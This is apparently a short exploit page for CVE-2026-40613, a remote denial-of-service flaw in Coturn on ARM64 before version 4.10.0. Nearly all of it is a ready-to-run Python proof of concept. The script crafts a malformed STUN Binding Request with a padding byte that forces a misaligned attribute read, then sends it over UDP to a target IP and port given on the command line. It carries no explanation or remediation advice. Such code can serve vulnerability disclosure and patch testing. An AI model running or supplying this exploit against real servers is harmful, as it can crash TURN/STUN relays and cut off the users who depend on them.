CVE-2026-40613：Coturn ARM64架构远程拒绝服务漏洞

import socket import struct # CVE-2026-40613 PoC: Coturn ARM64 Misaligned Access DoS # Target: Coturn < 4.10.0 on ARM64 def create_malformed_stun_packet(): # STUN Message Header: Type (0x0001 Binding Request), Length, Magic Cookie, Transaction ID msg_type = 0x0001 magic_cookie = 0x2112A442 trans_id = b'\x00' * 12 # Dummy Transaction ID # To trigger misalignment, we add a pad byte before the attribute # Normally attributes are aligned on 4-byte boundaries. # We craft the message such that the attribute parser reads from an odd address. # Attribute Header: Type (0x0001), Length attr_type = 0x0001 attr_len = 0x0000 # Construct header header = struct.pack('!HHI12s', msg_type, 0, magic_cookie, trans_id) # Construct payload with padding to force misalignment # The vulnerability occurs when reading the attribute type/length from an odd offset payload = struct.pack('!B', 0x00) # Padding byte payload += struct.pack('!HH', attr_type, attr_len) # Recalculate message length (header + padding + attribute header) msg_len = len(payload) # Rebuild header with correct length final_header = struct.pack('!HHI12s', msg_type, msg_len, magic_cookie, trans_id) return final_header + payload def send_packet(target_ip, target_port=3478): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_stun_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed STUN packet sent to {target_ip}:{target_port}") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_40613.py <target_ip>") else: send_packet(sys.argv[1])